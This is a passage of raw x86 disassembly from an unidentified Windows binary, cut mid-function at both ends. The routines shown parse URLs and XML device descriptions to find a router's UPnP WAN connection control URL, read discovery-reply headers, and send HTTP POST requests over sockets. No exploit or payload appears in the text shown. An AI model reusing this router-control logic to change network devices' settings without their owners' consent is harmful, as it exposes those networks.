sub_9B3F00+15Bj and [ebp+var_14], 0 lea ecx, [ebx-4] cmp eax, ecx jge short loc_9B40D1 sub ebx, eax mov [ebp+var_C], ebx add ebx, edi lea eax, [ebx-4] push eax ; NewSize push [ebp+Memory] ; Memory call realloc mov ecx, [ebp+var_C] add ecx, 0FFFFFFFCh push ecx ; Size mov ecx, [ebp+namelen] lea ecx, [ebp+ecx+Src] push ecx ; Src add edi, eax push edi ; Dst mov [ebp+Memory], eax call memcpy lea edi, [ebx-4] jmp short loc_9B40CE ; --------------------------------------------------------------------------- loc_9B40A8: ; CODE XREF: sub_9B3F00+11Fj lea eax, [ebx+edi] push eax ; NewSize push [ebp+Memory] ; Memory mov [ebp+var_C], eax call realloc push ebx ; Size lea ecx, [ebp+buf] push ecx ; Src add edi, eax push edi ; Dst mov [ebp+Memory], eax call memcpy mov edi, [ebp+var_C] loc_9B40CE: ; CODE XREF: sub_9B3F00+1A6j add esp, 14h loc_9B40D1: ; CODE XREF: sub_9B3F00+12Fj ; sub_9B3F00+165j ... push 1388h ; int push esi ; len lea eax, [ebp+buf] push eax ; buf push [ebp+s] ; s loc_9B40E1: ; CODE XREF: sub_9B3F00+116j call sub_9B4AC0 mov ebx, eax add esp, 10h test ebx, ebx jg loc_9B401B mov eax, [ebp+arg_C] mov ebx, [ebp+s] mov [eax], edi mov edi, [ebp+Memory] loc_9B40FE: ; CODE XREF: sub_9B3F00+85j push ebx ; s call closesocket mov eax, edi pop esi loc_9B4108: ; CODE XREF: sub_9B3F00+5Bj pop ebx loc_9B4109: ; CODE XREF: sub_9B3F00+20j pop edi leave retn sub_9B3F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B410C(char *Str, void *Dest, int, int) sub_9B410C proc near ; CODE XREF: sub_9B4207+27p ; sub_9B4C5A+120p Str = dword ptr 8 Dest = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+Str] push edi push offset asc_9A6B18 ; "://" push esi ; Str call strstr mov ebx, eax test ebx, ebx pop ecx pop ecx jz loc_9B4200 add ebx, 3 cmp byte ptr [esi], 68h jnz loc_9B4200 cmp byte ptr [esi+1], 74h jnz loc_9B4200 cmp byte ptr [esi+2], 74h jnz loc_9B4200 cmp byte ptr [esi+3], 70h jnz loc_9B4200 mov edi, strchr push 3Ah ; Val push ebx ; Str call edi ; strchr push 2Fh ; Val push ebx ; Str mov esi, eax call edi ; strchr mov edi, eax add esp, 10h test edi, edi jz loc_9B4200 push 41h ; Size push 0 ; Val push [ebp+Dest] ; Dst call memset add esp, 0Ch test esi, esi jz short loc_9B41D4 cmp esi, edi ja short loc_9B41D4 mov eax, esi sub eax, ebx cmp eax, 40h jle short loc_9B4199 push 40h pop eax loc_9B4199: ; CODE XREF: sub_9B410C+88j push eax ; Count push ebx ; Source push [ebp+Dest] ; Dest call strncpy mov ecx, [ebp+arg_8] add esp, 0Ch and word ptr [ecx], 0 jmp short loc_9B41CB ; --------------------------------------------------------------------------- loc_9B41B0: ; CODE XREF: sub_9B410C+C4j cmp al, 39h jg short loc_9B41F6 xor eax, eax mov ax, [ecx] imul ax, 0Ah mov [ecx], ax movsx dx, byte ptr [esi] lea eax, [edx+eax-30h] mov [ecx], ax loc_9B41CB: ; CODE XREF: sub_9B410C+A2j inc esi mov al, [esi] cmp al, 30h jge short loc_9B41B0 jmp short loc_9B41F6 ; --------------------------------------------------------------------------- loc_9B41D4: ; CODE XREF: sub_9B410C+7Bj ; sub_9B410C+7Fj mov eax, edi sub eax, ebx cmp eax, 40h jle short loc_9B41E0 push 40h pop eax loc_9B41E0: ; CODE XREF: sub_9B410C+CFj push eax ; Count push ebx ; Source push [ebp+Dest] ; Dest call strncpy mov eax, [ebp+arg_8] add esp, 0Ch mov word ptr [eax], 50h loc_9B41F6: ; CODE XREF: sub_9B410C+A6j ; sub_9B410C+C6j mov eax, [ebp+arg_C] mov [eax], edi xor eax, eax inc eax jmp short loc_9B4202 ; --------------------------------------------------------------------------- loc_9B4200: ; CODE XREF: sub_9B410C+1Bj ; sub_9B410C+27j ... xor eax, eax loc_9B4202: ; CODE XREF: sub_9B410C+F2j pop edi pop esi pop ebx pop ebp retn sub_9B410C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B4207(char *Str, int, int netshort, size_t Count) sub_9B4207 proc near ; CODE XREF: sub_9B4B6B+32p Dest = byte ptr -44h Str = dword ptr 8 arg_4 = dword ptr 0Ch netshort = dword ptr 10h Count = dword ptr 14h push ebp mov ebp, esp sub esp, 44h push esi mov esi, [ebp+netshort] push edi mov edi, [ebp+arg_4] and dword ptr [edi], 0 test esi, esi jz short loc_9B421F mov byte ptr [esi], 0 loc_9B421F: ; CODE XREF: sub_9B4207+13j lea eax, [ebp+arg_4] push eax ; int lea eax, [ebp+netshort] push eax ; int lea eax, [ebp+Dest] push eax ; Dest push [ebp+Str] ; Str call sub_9B410C add esp, 10h test eax, eax jz short loc_9B4251 push [ebp+Count] ; Count lea eax, [ebp+Dest] push esi ; Dest push edi ; int push [ebp+arg_4] ; int push [ebp+netshort] ; netshort push eax ; name call sub_9B3F00 add esp, 18h loc_9B4251: ; CODE XREF: sub_9B4207+31j pop edi pop esi leave retn sub_9B4207 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B4255 proc near ; CODE XREF: sub_9B43AF+97p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, [ebp+arg_0] push edi jmp loc_9B4397 ; --------------------------------------------------------------------------- loc_9B4265: ; CODE XREF: sub_9B4255+148j mov ecx, [esi+8] mov al, [ecx] cmp al, 2Fh jz loc_9B43A8 cmp al, 3Eh jz loc_9B43A8 mov bl, 20h cmp al, bl jz loc_9B4394 cmp al, 9 jz loc_9B4394 cmp al, 0Dh jz loc_9B4394 cmp al, 0Ah jz loc_9B4394 and [ebp+arg_0], 0 mov dl, 3Dh cmp al, dl mov [ebp+var_8], ecx jz short loc_9B42D1 loc_9B42A9: ; CODE XREF: sub_9B4255+7Aj mov eax, [esi+8] mov cl, [eax] cmp cl, bl jz short loc_9B42D1 cmp cl, 9 jz short loc_9B42D1 cmp cl, 0Dh jz short loc_9B42D1 cmp cl, 0Ah jz short loc_9B42D1 inc [ebp+arg_0] inc eax cmp eax, [esi+4] mov [esi+8], eax jnb short loc_9B430E cmp [eax], dl jnz short loc_9B42A9 loc_9B42D1: ; CODE XREF: sub_9B4255+52j ; sub_9B4255+5Bj ... mov eax, [esi+8] cmp [eax], dl jz short loc_9B42EA mov eax, [esi+4] loc_9B42DB: ; CODE XREF: sub_9B4255+93j inc dword ptr [esi+8] cmp [esi+8], eax jnb short loc_9B430E mov ecx, [esi+8] cmp [ecx], dl jnz short loc_9B42DB loc_9B42EA: ; CODE XREF: sub_9B4255+81j inc dword ptr [esi+8] mov eax, [esi+8] loc_9B42F0: ; CODE XREF: sub_9B4255+B7j mov cl, [eax] cmp cl, bl jz short loc_9B4305 cmp cl, 9 jz short loc_9B4305 cmp cl, 0Dh jz short loc_9B4305 cmp cl, 0Ah jnz short loc_9B4316 loc_9B4305: ; CODE XREF: sub_9B4255+9Fj ; sub_9B4255+A4j ... inc eax cmp eax, [esi+4] mov [esi+8], eax jb short loc_9B42F0 loc_9B430E: ; CODE XREF: sub_9B4255+76j ; sub_9B4255+8Cj ... or eax, 0FFFFFFFFh loc_9B4311: ; CODE XREF: sub_9B4255+155j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_9B4316: ; CODE XREF: sub_9B4255+AEj mov cl, [eax] cmp cl, 27h jz short loc_9B4358 cmp cl, 22h jz short loc_9B4358 xor edi, edi cmp cl, bl mov [ebp+var_4], eax jz short loc_9B437B loc_9B432B: ; CODE XREF: sub_9B4255+FFj mov cl, [eax] cmp cl, 9 jz short loc_9B437B cmp cl, 0Dh jz short loc_9B437B cmp cl, 0Ah jz short loc_9B437B cmp cl, 3Eh jz short loc_9B437B cmp cl, 2Fh jz short loc_9B437B inc edi inc eax cmp eax, [esi+4] mov [esi+8], eax jnb short loc_9B430E mov ecx, eax cmp [ecx], bl jnz short loc_9B432B jmp short loc_9B437B ; --------------------------------------------------------------------------- loc_9B4358: ; CODE XREF: sub_9B4255+C6j ; sub_9B4255+CBj mov edx, [esi+4] inc eax cmp eax, edx mov [esi+8], eax jnb short loc_9B430E xor edi, edi cmp [eax], cl mov [ebp+var_4], eax jz short loc_9B437B loc_9B436C: ; CODE XREF: sub_9B4255+124j inc edi inc eax cmp eax, edx mov [esi+8], eax jnb short loc_9B430E mov ebx, eax cmp [ebx], cl jnz short loc_9B436C loc_9B437B: ; CODE XREF: sub_9B4255+D4j ; sub_9B4255+DBj ... mov eax, [esi+20h] test eax, eax jz short loc_9B4394 push edi push [ebp+var_4] push [ebp+arg_0] push [ebp+var_8] push dword ptr [esi+10h] call eax add esp, 14h loc_9B4394: ; CODE XREF: sub_9B4255+29j ; sub_9B4255+31j ... inc dword ptr [esi+8] loc_9B4397: ; CODE XREF: sub_9B4255+Bj mov eax, [esi+8] cmp eax, [esi+4] jb loc_9B4265 jmp loc_9B430E ; --------------------------------------------------------------------------- loc_9B43A8: ; CODE XREF: sub_9B4255+17j ; sub_9B4255+1Fj xor eax, eax jmp loc_9B4311 sub_9B4255 endp ; =============== S U B R O U T I N E ======================================= sub_9B43AF proc near ; CODE XREF: sub_9B450D+12p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+4] dec eax cmp [esi+8], eax jnb loc_9B450B push ebx push edi loc_9B43C3: ; CODE XREF: sub_9B43AF+154j mov ecx, [esi+8] cmp byte ptr [ecx], 3Ch jnz loc_9B44F8 lea eax, [ecx+1] cmp byte ptr [eax], 3Fh jz loc_9B44F8 xor edx, edx mov [esi+8], eax cmp byte ptr [eax], 20h mov edi, eax jz loc_9B44B6 loc_9B43EB: ; CODE XREF: sub_9B43AF+7Bj mov eax, [esi+8] mov cl, [eax] cmp cl, 9 jz short loc_9B442C cmp cl, 0Dh jz short loc_9B442C cmp cl, 0Ah jz short loc_9B442C cmp cl, 3Eh jz short loc_9B442C cmp cl, 2Fh jz short loc_9B442C inc edx inc eax cmp eax, [esi+4] mov [esi+8], eax jnb loc_9B4509 cmp byte ptr [eax], 3Ah jnz short loc_9B4424 xor edx, edx inc eax mov [esi+8], eax mov edi, eax loc_9B4424: ; CODE XREF: sub_9B43AF+6Bj mov eax, [esi+8] cmp byte ptr [eax], 20h jnz short loc_9B43EB loc_9B442C: ; CODE XREF: sub_9B43AF+44j ; sub_9B43AF+49j ... test edx, edx jle loc_9B44B6 mov eax, [esi+14h] test eax, eax jz short loc_9B4445 push edx push edi push dword ptr [esi+10h] call eax add esp, 0Ch loc_9B4445: ; CODE XREF: sub_9B43AF+8Aj push esi call sub_9B4255 test eax, eax pop ecx jnz loc_9B4509 mov eax, [esi+8] cmp byte ptr [eax], 2Fh jz loc_9B44FC mov ecx, [esi+4] xor edi, edi inc eax mov ebx, eax jmp short loc_9B4481 ; --------------------------------------------------------------------------- loc_9B446A: ; CODE XREF: sub_9B43AF+D7j mov dl, [eax] cmp dl, 20h jz short loc_9B4480 cmp dl, 9 jz short loc_9B4480 cmp dl, 0Dh jz short loc_9B4480 cmp dl, 0Ah jnz short loc_9B448A loc_9B4480: ; CODE XREF: sub_9B43AF+C0j ; sub_9B43AF+C5j ... inc eax loc_9B4481: ; CODE XREF: sub_9B43AF+B9j cmp eax, ecx mov [esi+8], eax jb short loc_9B446A jmp short loc_9B4509 ; --------------------------------------------------------------------------- loc_9B448A: ; CODE XREF: sub_9B43AF+CFj cmp byte ptr [eax], 3Ch jz short loc_9B44FC loc_9B448F: ; CODE XREF: sub_9B43AF+EEj inc edi inc eax cmp eax, ecx mov [esi+8], eax jnb short loc_9B4509 mov edx, eax cmp byte ptr [edx], 3Ch jnz short loc_9B448F test edi, edi jle short loc_9B44FC mov eax, [esi+1Ch] test eax, eax jz short loc_9B44FC push edi push ebx push dword ptr [esi+10h] call eax add esp, 0Ch jmp short loc_9B44FC ; --------------------------------------------------------------------------- loc_9B44B6: ; CODE XREF: sub_9B43AF+36j ; sub_9B43AF+7Fj mov eax, [esi+8] cmp byte ptr [eax], 2Fh jnz short loc_9B44FC mov ecx, [esi+4] xor edx, edx inc eax cmp eax, ecx mov [esi+8], eax mov edi, eax jnb short loc_9B4509 cmp byte ptr [eax], 3Eh jz short loc_9B44E2 loc_9B44D2: ; CODE XREF: sub_9B43AF+131j inc edx inc eax cmp eax, ecx mov [esi+8], eax jnb short loc_9B4509 mov ebx, eax cmp byte ptr [ebx], 3Eh jnz short loc_9B44D2 loc_9B44E2: ; CODE XREF: sub_9B43AF+121j mov eax, [esi+18h] test eax, eax jz short loc_9B44F3 push edx push edi push dword ptr [esi+10h] call eax add esp, 0Ch loc_9B44F3: ; CODE XREF: sub_9B43AF+138j inc dword ptr [esi+8] jmp short loc_9B44FC ; --------------------------------------------------------------------------- loc_9B44F8: ; CODE XREF: sub_9B43AF+1Aj ; sub_9B43AF+26j inc ecx mov [esi+8], ecx loc_9B44FC: ; CODE XREF: sub_9B43AF+ABj ; sub_9B43AF+DEj ... mov eax, [esi+4] dec eax cmp [esi+8], eax jb loc_9B43C3 loc_9B4509: ; CODE XREF: sub_9B43AF+62j ; sub_9B43AF+9Fj ... pop edi pop ebx loc_9B450B: ; CODE XREF: sub_9B43AF+Cj pop esi retn sub_9B43AF endp ; =============== S U B R O U T I N E ======================================= sub_9B450D proc near ; CODE XREF: sub_9B47E9+35p ; sub_9B517D+34p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, [eax] mov edx, [eax+0Ch] add edx, ecx push eax mov [eax+8], ecx mov [eax+4], edx call sub_9B43AF pop ecx retn sub_9B450D endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B4526(void *Dst, void *Buf1, size_t Size) sub_9B4526 proc near ; DATA XREF: sub_9B47E9+20o Dst = dword ptr 4 Buf1 = dword ptr 8 Size = dword ptr 0Ch push ebx push esi mov esi, [esp+8+Dst] push edi mov edi, [esp+0Ch+Size] push edi ; Size push [esp+10h+Buf1] ; Src push esi ; Dst call memcpy xor bl, bl add esp, 0Ch mov [esi+edi], bl inc dword ptr [esi+100h] cmp edi, 7 jnz short loc_9B457D push edi ; Size push offset aService ; "service" push [esp+14h+Buf1] ; Buf1 call memcmp add esp, 0Ch test eax, eax jnz short loc_9B457D mov [esi+504h], bl mov [esi+584h], bl mov [esi+604h], bl mov [esi+684h], bl loc_9B457D: ; CODE XREF: sub_9B4526+27j ; sub_9B4526+3Dj pop edi pop esi pop ebx retn sub_9B4526 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B4581(int, void *Buf1, int) sub_9B4581 proc near ; DATA XREF: sub_9B47E9+27o arg_0 = dword ptr 4 Buf1 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] dec dword ptr [esi+100h] cmp [esp+4+arg_8], 7 jnz loc_9B468A push 7 ; Size push offset aService ; "service" push [esp+0Ch+Buf1] ; Buf1 call memcmp add esp, 0Ch test eax, eax jnz loc_9B468A push ebx push edi lea ebx, [esi+684h] push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANCommonI"... push ebx ; Str1 call strcmp test eax, eax pop ecx pop ecx jnz short loc_9B4614 mov edi, 80h push edi ; Size lea eax, [esi+504h] push eax ; Src lea eax, [esi+104h] push eax ; Dst call memcpy push edi ; Size lea eax, [esi+584h] push eax ; Src lea eax, [esi+184h] push eax ; Dst call memcpy push edi ; Size lea eax, [esi+604h] push eax ; Src lea eax, [esi+204h] push eax ; Dst call memcpy add esi, 284h jmp short loc_9B467D ; --------------------------------------------------------------------------- loc_9B4614: ; CODE XREF: sub_9B4581+48j push offset aUrnSchemasUp_1 ; "urn:schemas-upnp-org:service:WANIPConne"... push ebx ; Str1 call strcmp test eax, eax pop ecx pop ecx jz short loc_9B4636 push offset aUrnSchemasUp_2 ; "urn:schemas-upnp-org:service:WANPPPConn"... push ebx ; Str1 call strcmp test eax, eax pop ecx pop ecx jnz short loc_9B4688 loc_9B4636: ; CODE XREF: sub_9B4581+A2j mov edi, 80h push edi ; Size lea eax, [esi+504h] push eax ; Src lea eax, [esi+304h] push eax ; Dst call memcpy push edi ; Size lea eax, [esi+584h] push eax ; Src lea eax, [esi+384h] push eax ; Dst call memcpy push edi ; Size lea eax, [esi+604h] push eax ; Src lea eax, [esi+404h] push eax ; Dst call memcpy add esi, 484h loc_9B467D: ; CODE XREF: sub_9B4581+91j push edi ; Size push ebx ; Src push esi ; Dst call memcpy add esp, 30h loc_9B4688: ; CODE XREF: sub_9B4581+B3j pop edi pop ebx loc_9B468A: ; CODE XREF: sub_9B4581+10j ; sub_9B4581+2Bj pop esi retn sub_9B4581 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9B468C(char *Str1, void *Src, size_t Size) sub_9B468C proc near ; DATA XREF: sub_9B47E9+2Eo Str1 = dword ptr 4 Src = dword ptr 8 Size = dword ptr 0Ch push esi mov esi, [esp+4+Str1] push offset aUrlbase ; "URLBase" push esi ; Str1 call strcmp test eax, eax pop ecx pop ecx jnz short loc_9B46AA add esi, 80h jmp short loc_9B470C ; --------------------------------------------------------------------------- loc_9B46AA: ; CODE XREF: sub_9B468C+14j push offset aServicetype ; "serviceType" push esi ; Str1 call strcmp test eax, eax pop ecx pop ecx jnz short loc_9B46C3 add esi, 684h jmp short loc_9B470C ; --------------------------------------------------------------------------- loc_9B46C3: ; CODE XREF: sub_9B468C+2Dj push offset aControlurl ; "controlURL" push esi ; Str1 call strcmp test eax, eax pop ecx pop ecx jnz short loc_9B46DC add esi, 504h jmp short loc_9B470C ; --------------------------------------------------------------------------- loc_9B46DC: ; CODE XREF: sub_9B468C+46j push offset aEventsuburl ; "eventSubURL" push esi ; Str1 call strcmp test eax, eax pop ecx pop ecx jnz short loc_9B46F5 add esi, 584h jmp short loc_9B470C ; --------------------------------------------------------------------------- loc_9B46F5: ; CODE XREF: sub_9B468C+5Fj push offset aScpdurl ; "SCPDURL" push esi ; Str1 call strcmp test eax, eax pop ecx pop ecx jnz short loc_9B4733 add esi, 604h loc_9B470C: ; CODE XREF: sub_9B468C+1Cj ; sub_9B468C+35j ... test esi, esi jz short loc_9B4733 push edi mov edi, [esp+8+Size] cmp edi, 80h jl short loc_9B4720 push 7Fh pop edi loc_9B4720: ; CODE XREF: sub_9B468C+8Fj push edi ; Size push [esp+0Ch+Src] ; Src push esi ; Dst call memcpy add esp, 0Ch mov byte ptr [esi+edi], 0 pop edi loc_9B4733: ; CODE XREF: sub_9B468C+78j ; sub_9B468C+82j pop esi retn sub_9B468C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B4735(SOCKET s, int, int, int len, int, char *Str) sub_9B4735 proc near ; CODE XREF: sub_9B4C5A+1A9p Src = byte ptr -208h Dest = byte ptr -8 s = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h len = dword ptr 14h arg_10 = dword ptr 18h Str = dword ptr 1Ch push ebp mov ebp, esp sub esp, 208h push ebx push esi push edi push [ebp+Str] ; Str call strlen cmp word ptr [ebp+len], 50h mov esi, _snprintf pop ecx mov ebx, eax mov [ebp+Dest], 0 jz short loc_9B4772 movzx eax, word ptr [ebp+len] push eax push offset aHu ; ":%hu" lea eax, [ebp+Dest] push 8 ; Count push eax ; Dest call esi ; _snprintf add esp, 10h loc_9B4772: ; CODE XREF: sub_9B4735+26j push [ebp+arg_10] lea eax, [ebp+Dest] push ebx push eax push [ebp+arg_8] lea eax, [ebp+Src] push [ebp+arg_4] push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHost: %s%s\r\nUser-Agen"... push 200h ; Count push eax ; Dest call esi ; _snprintf mov edi, eax lea eax, [edi+ebx] push eax ; Size mov [ebp+len], eax call malloc mov esi, eax add esp, 24h test esi, esi jz short loc_9B47E4 push edi ; Size lea eax, [ebp+Src] push eax ; Src push esi ; Dst call memcpy push ebx ; Size push [ebp+Str] ; Src lea eax, [esi+edi] push eax ; Dst call memcpy add esp, 18h push 0 ; flags push [ebp+len] ; len push esi ; buf push [ebp+s] ; s call send push esi ; Memory mov edi, eax call free pop ecx mov eax, edi loc_9B47E4: ; CODE XREF: sub_9B4735+74j pop edi pop esi pop ebx leave retn sub_9B4735 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B47E9 proc near ; CODE XREF: sub_9B4B6B+65p var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] and [ebp+var_4], 0 mov [ebp+var_24], eax mov eax, [ebp+arg_4] mov [ebp+var_18], eax mov eax, [ebp+arg_8] mov [ebp+var_14], eax lea eax, [ebp+var_24] push eax mov [ebp+var_10], offset sub_9B4526 mov [ebp+var_C], offset sub_9B4581 mov [ebp+var_8], offset sub_9B468C call sub_9B450D pop ecx leave retn sub_9B47E9 endp ; =============== S U B R O U T I N E ======================================= sub_9B4826 proc near ; CODE XREF: sub_9B4C5A+219p push ebx push esi push edi mov edi, eax mov esi, offset aContentLength ; "content-length" xor eax, eax loc_9B4832: ; CODE XREF: sub_9B4826+2Bj test edi, edi jz short loc_9B485C mov dl, [esi] mov bl, [ecx] cmp dl, bl jz short loc_9B484B movsx ebx, bl movsx edx, dl add ebx, 20h cmp edx, ebx jnz short loc_9B485C loc_9B484B: ; CODE XREF: sub_9B4826+16j inc ecx inc esi dec edi cmp byte ptr [esi], 0 jnz short loc_9B4832 test edi, edi jz short loc_9B485C cmp byte ptr [ecx], 3Ah jz short loc_9B4867 loc_9B485C: ; CODE XREF: sub_9B4826+Ej ; sub_9B4826+23j ... or eax, 0FFFFFFFFh loc_9B485F: ; CODE XREF: sub_9B4826+4Dj ; sub_9B4826+66j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_9B4863: ; CODE XREF: sub_9B4826+46j test edi, edi jz short loc_9B485C loc_9B4867: ; CODE XREF: sub_9B4826+34j inc ecx dec edi cmp byte ptr [ecx], 20h jz short loc_9B4863 jmp short loc_9B4885 ; --------------------------------------------------------------------------- loc_9B4870: ; CODE XREF: sub_9B4826+64j cmp dl, 39h jg short loc_9B485F test edi, edi jz short loc_9B485C movsx edx, dl lea eax, [eax+eax*4] inc ecx lea eax, [edx+eax*2-30h] dec edi loc_9B4885: ; CODE XREF: sub_9B4826+48j mov dl, [ecx] cmp dl, 30h jge short loc_9B4870 jmp short loc_9B485F sub_9B4826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B488E proc near ; CODE XREF: sub_9B4EE4+19Cp var_8 = dword ptr -8 Buf1 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push esi push edi xor edi, edi xor esi, esi xor edx, edx cmp [ebp+arg_0], edi jle loc_9B4930 loc_9B48A4: ; CODE XREF: sub_9B488E+9Cj lea eax, [esi+1] mov cl, [ebx+eax-1] cmp cl, 0Ah mov [ebp+var_8], eax jz short loc_9B48C5 cmp cl, 0Dh jz short loc_9B48C5 cmp cl, 3Ah jnz short loc_9B4925 test edi, edi jnz short loc_9B4925 mov edi, esi jmp short loc_9B4925 ; --------------------------------------------------------------------------- loc_9B48C5: ; CODE XREF: sub_9B488E+23j ; sub_9B488E+28j test edi, edi jz short loc_9B4923 loc_9B48C9: ; CODE XREF: sub_9B488E+40j inc edi cmp byte ptr [edi+ebx], 20h jz short loc_9B48C9 push 8 ; Size lea eax, [edx+ebx] push offset aLocation ; "location" push eax ; Buf1 mov [ebp+Buf1], eax call _memicmp add esp, 0Ch test eax, eax jnz short loc_9B48F8 mov ecx, [ebp+arg_4] lea eax, [edi+ebx] mov [ecx], eax mov eax, [ebp+arg_8] jmp short loc_9B491A ; --------------------------------------------------------------------------- loc_9B48F8: ; CODE XREF: sub_9B488E+5Bj push 2 ; Size push offset aSt ; "st" push [ebp+Buf1] ; Buf1 call _memicmp add esp, 0Ch test eax, eax jnz short loc_9B491E mov ecx, [ebp+arg_C] lea eax, [edi+ebx] mov [ecx], eax mov eax, [ebp+arg_10] loc_9B491A: ; CODE XREF: sub_9B488E+68j sub esi, edi mov [eax], esi loc_9B491E: ; CODE XREF: sub_9B488E+7Fj mov eax, [ebp+var_8] xor edi, edi loc_9B4923: ; CODE XREF: sub_9B488E+39j mov edx, eax loc_9B4925: ; CODE XREF: sub_9B488E+2Dj ; sub_9B488E+31j ... mov esi, eax cmp esi, [ebp+arg_0] jl loc_9B48A4 loc_9B4930: ; CODE XREF: sub_9B488E+10j pop edi pop esi leave retn sub_9B488E endp ; =============== S U B R O U T I N E ======================================= sub_9B4934 proc near ; CODE XREF: sub_9B498C+E0p ; sub_9B498C+EDp ... cmp byte ptr [esi], 68h push edi mov edi, eax jnz short loc_9B4965 cmp byte ptr [esi+1], 74h jnz short loc_9B4965 cmp byte ptr [esi+2], 74h jnz short loc_9B4965 cmp byte ptr [esi+3], 70h jnz short loc_9B4965 cmp byte ptr [esi+4], 3Ah jnz short loc_9B4965 cmp byte ptr [esi+5], 2Fh jnz short loc_9B4965 cmp byte ptr [esi+6], 2Fh jnz short loc_9B4965 push edi push esi push ebx jmp short loc_9B4981 ; --------------------------------------------------------------------------- loc_9B4965: ; CODE XREF: sub_9B4934+6j ; sub_9B4934+Cj ... push ebx ; Str call strlen cmp byte ptr [esi], 2Fh pop ecx jz short loc_9B4976 mov byte ptr [eax+ebx], 2Fh inc eax loc_9B4976: ; CODE XREF: sub_9B4934+3Bj cmp eax, edi jg short loc_9B498A sub edi, eax push edi ; Count push esi ; Source add eax, ebx push eax ; Dest loc_9B4981: ; CODE XREF: sub_9B4934+2Fj call strncpy add esp, 0Ch loc_9B498A: ; CODE XREF: sub_9B4934+44j pop edi retn sub_9B4934 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B498C(int, size_t Count, char *Source) sub_9B498C proc near ; CODE XREF: sub_9B4B6B+96p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Count = dword ptr 0Ch Source = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov edi, [ebp+Count] lea eax, [edi+80h] push eax ; Str mov [ebp+var_8], eax call strlen mov esi, eax test esi, esi pop ecx jnz short loc_9B49B9 push [ebp+Source] ; Str call strlen pop ecx mov esi, eax loc_9B49B9: ; CODE XREF: sub_9B498C+20j lea eax, [edi+404h] inc esi inc esi push eax ; Str mov [ebp+Count], esi mov [ebp+var_4], esi mov [ebp+var_C], eax call strlen add esi, eax lea eax, [edi+304h] push eax ; Str mov [ebp+var_10], eax call strlen add [ebp+Count], eax add edi, 104h push edi ; Str mov [ebp+var_14], edi call strlen mov ebx, malloc add [ebp+var_4], eax mov edi, [ebp+arg_0] push esi ; Size call ebx ; malloc push [ebp+Count] ; Size mov [edi+4], eax call ebx ; malloc push [ebp+var_4] ; Size mov [edi], eax call ebx ; malloc mov ebx, strncpy mov [edi+8], eax mov eax, [ebp+var_8] add esp, 18h cmp byte ptr [eax], 0 push esi ; Count jz short loc_9B4A29 push eax jmp short loc_9B4A2C ; --------------------------------------------------------------------------- loc_9B4A29: ; CODE XREF: sub_9B498C+98j push [ebp+Source] ; Source loc_9B4A2C: ; CODE XREF: sub_9B498C+9Bj push dword ptr [edi+4] ; Dest call ebx ; strncpy mov eax, [edi+4] add esp, 0Ch add eax, 7 push 2Fh ; Val push eax ; Str call strchr test eax, eax pop ecx pop ecx jz short loc_9B4A4C mov byte ptr [eax], 0 loc_9B4A4C: ; CODE XREF: sub_9B498C+BBj push [ebp+Count] ; Count push dword ptr [edi+4] ; Source push dword ptr [edi] ; Dest call ebx ; strncpy push [ebp+var_4] ; Count push dword ptr [edi+4] ; Source push dword ptr [edi+8] ; Dest call ebx ; strncpy mov ebx, [edi+4] mov eax, esi mov esi, [ebp+var_C] add esp, 18h call sub_9B4934 mov eax, [ebp+Count] mov esi, [ebp+var_10] mov ebx, [edi] call sub_9B4934 mov eax, [ebp+var_4] mov esi, [ebp+var_14] mov ebx, [edi+8] call sub_9B4934 pop edi pop esi pop ebx leave retn sub_9B498C endp ; =============== S U B R O U T I N E ======================================= sub_9B4A91 proc near ; CODE XREF: sub_9B4B6B+B6p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_9B4ABE push edi push dword ptr [esi] ; Memory mov edi, free call edi ; free push dword ptr [esi+4] ; Memory and dword ptr [esi], 0 call edi ; free push dword ptr [esi+8] ; Memory and dword ptr [esi+4], 0 call edi ; free add esp, 0Ch and dword ptr [esi+8], 0 pop edi loc_9B4ABE: ; CODE XREF: sub_9B4A91+7j pop esi retn sub_9B4A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B4AC0(SOCKET s, char *buf, int len, int) sub_9B4AC0 proc near ; CODE XREF: sub_9B3F00:loc_9B40E1p ; sub_9B4C5A+268p ... readfds = fd_set ptr 